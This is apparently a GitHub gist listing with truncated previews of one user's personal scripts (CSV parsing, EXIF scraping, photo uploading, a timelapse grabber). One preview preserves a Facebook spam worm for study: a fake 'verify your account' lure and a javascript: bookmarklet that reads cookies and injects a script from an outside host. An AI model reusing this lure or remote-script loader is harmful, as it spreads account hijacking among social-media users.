Skip to content

Instantly share code, notes, and snippets.

#!python
fileIN = open("stories_org.csv", "r")
line = fileIN.readline()
while line:
line = line.replace("\xb2", "")
line = line.split("|||")
print line
line = fileIN.readline()
// saw a friend get spammed by this, so i copied the code in here to preserve it.
// THIS IS NOT MINE, I'M JUST KEEPING IT AROUND BECAUSE I'M INTERESTED IN THE FACEBOOK JAVASCRIPT SDK.
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// GORILLAjs
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
/*
THIS CODE IS FROM http://plucketenhe.info/verify.js
I AM POSTING IT HERE JUST TO BE ABLE TO STUDY IT. IT IS NOT MINE.
*/
var message = "In order to PREVENT SPAM, I ask that you VERIFY YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to start the process...";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://plucketenhe.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "==>[VERIFY MY ACCOUNT]<==";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
@ivarvong
ivarvong / gist:1002931
Created June 1, 2011 18:23
babysitter
#!/usr/bin/python
import smtplib
from email.mime.text import MIMEText
import subprocess
c = subprocess.call("curl -s dailyemerald.com |grep www.dailyemerald.com | wc -l", shell=True)
me = "[email protected]"
you = "[email protected]"
@ivarvong
ivarvong / gist:1290194
Created October 15, 2011 21:43
exif_scrape_v1
import glob, subprocess
f = open('tally_out.txt', 'w')
base = "/Users/ivar/Pictures/"
directories = glob.glob(base+"11*.*");
def doStuff(file):
exifoutput = subprocess.check_output(["exiftool","-fast","-LensModel","-FocalLength","-Aperture","-FocusDistanceLower",file])
exifoutput = exifoutput.split("\n")
@ivarvong
ivarvong / gist:1293371
Created October 17, 2011 18:27
listgallery.php
function listgallery_func($atts) {
echo "<style>.entry-content img { margin: 0; }</style>";
global $post;
$args = array(
'order' => 'ASC',
'post_type' => 'attachment',
'post_parent' => $post->ID,
'post_mime_type' => 'image',
'post_status' => null,
'numberposts' => -1,
@ivarvong
ivarvong / codereplacement.html
Created December 2, 2011 21:33
PM Code Replacement
<html>
<head>
<title>Photo Mechanic Code Replacement generator - Ivar Vong</title>
<style type="text/css">
* {
font-family: "Helvetica Neue";
font-size: 13px;
}
#left {
@ivarvong
ivarvong / gist:1630669
Created January 18, 2012 03:26
smugmug_auto_upload.py
#!/usr/bin/python
#you can get smugpy here: https://github.com/ivong/smugpy
#i added a commit to sanitize the url. without it, it breaks on images with spaces (and likely other weird characters)
from glob import glob
from shutil import move
from time import localtime, strftime
files = glob("/srv/www/ivarvong.com/public_html/auto/*.[jJ]*");
@ivarvong
ivarvong / gist:1763747
Created February 8, 2012 01:01
nonattacking rooks with forbidden positions, brute force #1
#!/usr/bin/python
m = []
out = []
for a in range(1,7):
for b in range(1,7):
for c in range(1,7):
for d in range(1,7):
for e in range(1,7):
@ivarvong
ivarvong / gist:2131568
Created March 20, 2012 05:10
using node.js to grab images from a webcam for a timelapse
// /srv/www/ivarvong.com/public_html/allenhall/timelapse
var util = require('util')
, exec = require('child_process').exec
, child;
function pad(num) {
if (num < 10) {
return "0" + num;
} else {